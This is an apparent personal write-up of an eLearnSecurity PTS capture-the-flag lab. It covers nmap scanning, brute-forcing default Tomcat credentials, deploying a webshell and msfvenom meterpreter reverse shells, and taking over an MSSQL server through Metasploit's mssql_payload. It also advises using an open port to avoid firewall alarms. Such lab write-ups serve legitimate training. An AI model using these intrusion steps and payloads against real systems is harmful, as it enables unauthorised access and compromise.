Here we go.
First CTF from eLearnSecurity's PTS course.
Blackbox szenario.
[Apache Tomcat, SQL Server]
Connected to internal network via eth0.
Task: find flags on all hosts connected to network.
⇒ Tools used: Nmap, Dirb, Netcat & Metasploit (MSFvenom, MSFpayload & Listener for reverse TCP shell)
Stage I - Information Gathering:
was ommitted since we're inside the network and no OSINT or public sites search would be relevant here. If anything subdomain enumeration with sublist3r / amass would have made sense though. Next time.
Stage II - Footprinting and Scanning:
Mapping the network with Nmap.
root@0xBlackhat:~ # nmap -sn 172.16.64.0/24 -oN discovery.nmap
-oN for default output format, redirect with > discovery.nmap would do of course but with this command we actually see the output on the screen. Alternatively fping works, but it won't output anything directly:
fping -a -g 172.16.64.0/24 2>null > test.nmap
root@0xBlackhat:~# cat discovery.nmap | grep for | grep -v “\.10” | cut -d “ ” -f 5 > ipscan.txt
Sorts the discovered addresses, excludes your own IP and writes the rest to a file. ipscan.txt will now be fed to nmap to perform full TCP scan:
root@0xBlackhat:~# nmap -sV -n -v -Pn -p- -T4 -iL ips.txt -A --open
[...snip...]
Nmap scan report for 172.16.64.199
Host is up (0.067s latency).
Not shown: 65433 closed ports, 90 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
1433/tcp open ms-sql-s Microsoft SQL Server 2014 12.00.2000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: WIN10
| NetBIOS_Domain_Name: WIN10
| NetBIOS_Computer_Name: WIN10
| DNS_Domain_Name: WIN10
| DNS_Computer_Name: WIN10
|_ Product_Version: 10.0.10586
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2021-02-08T22:15:06
| Not valid after: 2051-02-08T22:15:06
| MD5: a5b8 5acf 2158 5e33 43c5 3f2e 341e e5fa
|_SHA-1: 8425 8f9f 8d8a 0677 1de5 d232 658e 695e d3d9 7307
|_ssl-date: 2021-02-11T01:13:44+00:00; 0s from scanner time.
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49943/tcp open ms-sql-s Microsoft SQL Server 2014 12.00.2000
| ms-sql-ntlm-info:
| Target_Name: WIN10
| NetBIOS_Domain_Name: WIN10
| NetBIOS_Computer_Name: WIN10
| DNS_Domain_Name: WIN10
| DNS_Computer_Name: WIN10
|_ Product_Version: 10.0.10586
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2021-02-08T22:15:06
| Not valid after: 2051-02-08T22:15:06
| MD5: a5b8 5acf 2158 5e33 43c5 3f2e 341e e5fa
|_SHA-1: 8425 8f9f 8d8a 0677 1de5 d232 658e 695e d3d9 7307
|_ssl-date: 2021-02-11T01:13:44+00:00; 0s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| ms-sql-info:
| 172.16.64.199:1433:
| Version:
| name: Microsoft SQL Server 2014 RTM
| number: 12.00.2000.00
| Product: Microsoft SQL Server 2014
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| nbstat: NetBIOS name: WIN10, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:87:d9:d5 (VMware)
| Names:
| WIN10<00> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
|_ WIN10<20> Flags: <unique><active>
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-02-11T01:13:38
|_ start_date: 2021-02-08T22:14:56
Victim 1: Apache Tomcat
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
| Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_ Potentially risky methods: PUT DELETE
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache2 Ubuntu Default Page: It works
9080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| http-methods:
| Supported Methods: GET HEAD POST PUT DELETE OPTIONS
|_ Potentially risky methods: PUT DELETE
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache2 Ubuntu Default Page: It works
59919/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Let's identify and exploit any Tomcat misconfigurations we can find.

If you go to the default directory /manager/html for the admin panel use the default credentials. Someone posted the list on GitHub: https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown You can use a bash script to get the hashes like this:
$ for cred in $(cat /home/user/directory/sub_directory/tomcat_userpass.txt); do echo -n $cred | base64; done
which will generate this list here:
YWRtaW46cGFzc3dvcmQ=
YWRtaW46
YWRtaW46UGFzc3dvcmQx
YWRtaW46cGFzc3dvcmQx
YWRtaW46YWRtaW4=
YWRtaW46dG9tY2F0
Ym90aDp0b21jYXQ=
bWFuYWdlcjptYW5hZ2Vy
cm9sZTE6cm9sZTE=
cm9sZTE6dG9tY2F0
cm9sZTpjaGFuZ2V0aGlz
cm9vdDpQYXNzd29yZDE=
cm9vdDpjaGFuZ2V0aGlz
cm9vdDpwYXNzd29yZA==
cm9vdDpwYXNzd29yZDE=
cm9vdDpyMDB0
cm9vdDpyb290
cm9vdDp0b29y
dG9tY2F0OnRvbWNhdA==
dG9tY2F0OnMzY3JldA==
dG9tY2F0OnBhc3N3b3JkMQ==
dG9tY2F0OnBhc3N3b3Jk
dG9tY2F0Og==
dG9tY2F0OmFkbWlu
dG9tY2F0OmNoYW5nZXRoaXM=
ou can then go ahead and use it with BurpSuite's Intruder: Payload type Sniper. Remember to uncheck the URL box.
Somehow Metasploit's bruteforcing with wordlists doesn't work, even if you slow it down. Not a big deal, you can just try your luck manually which actually worked instantly for me using tomcat:s3cret. If I remember correctly their 403 even suggests that combination lol
Ok, so now you have user access to the server. Good enough to upload and deploy files. Tomcat is a java application server and works with WAR files. Fortunately, someone uploaded a war webshell to GitHub. Using our tomcat:s3cret user we go ahead and deploy the websell manually. https://github.com/BustedSec/webshell/blob/master/webshell.war

Now clicking /webshell should be enough to direct us to the webshell. In case it doesn't work straight away append ‘/index.jsp' to the url as follows:
http://172.16.64.101:8080/webshell/index.jsp?cmd=whoami

Great, now we have a user and a shell. Let's go ahead and obtain a reverse shell to obtain root with Metasploit payloads, the reverse tcp shell will help us to bypass the firewall. Meterpreter war payloads don't work for some reason so you can create a Metasploit listener as follows:
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set lhost 172.16.64.10
set lport 59919
run
port 59919 is open on the victim which is why we use this port. A different port would make the firewall fire up alarms, that's why we listen on this port which is open on the victim machine.
Generate the executable with MSFvenom as follows:
root@0xBlackhat:~ # msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=172.16.64.10 lport=59919 -f elf -o meter
Now let's rename the file to meter.war making it a fake war file, it won't change our malicious file but it will allow us to deploy it on the victim machine:
root@0xBlackhat:~ # mv meter meter.war
et's now deploy this file as we previously did with the webshell on the /manager/html page. Deployment won't work, but it's still a valid executable and it's on the server now. All we want.
We rename meter.war through the webshell as follows:
root@0xBlackhat:~ # mv var/lib/tomcat8/webapps/meter.war /tmp/meter
root@0xBlackhat:~ # ls /tmp/meter
root@0xBlackhat:~ # chmod +x /tmp/meter
And we run as follows:
root@0xBlackhat:~ # /tmp/meter
And voila, a new meterpreter session opens up in our terminal. getuid shows we're in. Now it's about surfing the directories which you can and should enumerate. I didn't however, also don't remember where exactly the flag was I think somewhere in /home/user/admin directory or similar.
Victim 2
Webserver:
port 80/tcp open, Apache httpd 2.4.18 (Ubuntu)
So let's enumerate directories with dirb and see what we find.
root@0xBlackhat:~ # dirb http://172.16.64.140
using worlist /usr/share/dirb/wordlists/common.txt
After a while http://172.16.64.140/project/ shows up, let's try admin:admin. Default credentials again and we're in. Now, let's dirb with credentials this time to get a scan with access rights.
root@0xBlackhat:~ # dirb http://172.16.64.140/project -u admin:admin
This will eventually give us a couple more directories to browse and inspect.
One of those contains the credentials to access the SQL Server in the network.
It's also the flag we needed to find.
Victim 3
The SQL Server. Since we already have the credentials it's not too much of a drama.
We can use Metasploit for this, loading mssql_login module
use auxiliary/scanner/mssql/mssql_login
set rhosts 172.16.64.199
set rport 1433
set username fooadmin
set password fooadmin
set verbose true
run
Metaploit's mssql_enum module helps us automate reconnaissance
use auxiliary/admin/mssql/mssql_enum
set password fooadmin
set username fooadmin
set rport 1433
set rhosts 172.16.64.199
run
This is the part that takes some time going through the displayed results. We get a lot of information about the database.
We see e.g. that the account is indeed an system account so we can use this to compromise the server with the mssql_payload module:
use exploit/windows/mssql/mssql_payload
set password fooadmin
set user fooadmin
set srvport 53
set rhosts 172.16.64.199
set payload windows/x64/meterpreter_reverse_tcp
set lhost 172.16.64.13
set lport 443
run
This will upload the payload and a meterpreter session will open in terminal.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
Let's spawn a shell and look for the flag
C:\ shell
C:\ cd c:\Users
C: \dir
And that's it. In one of those folders is the last flag.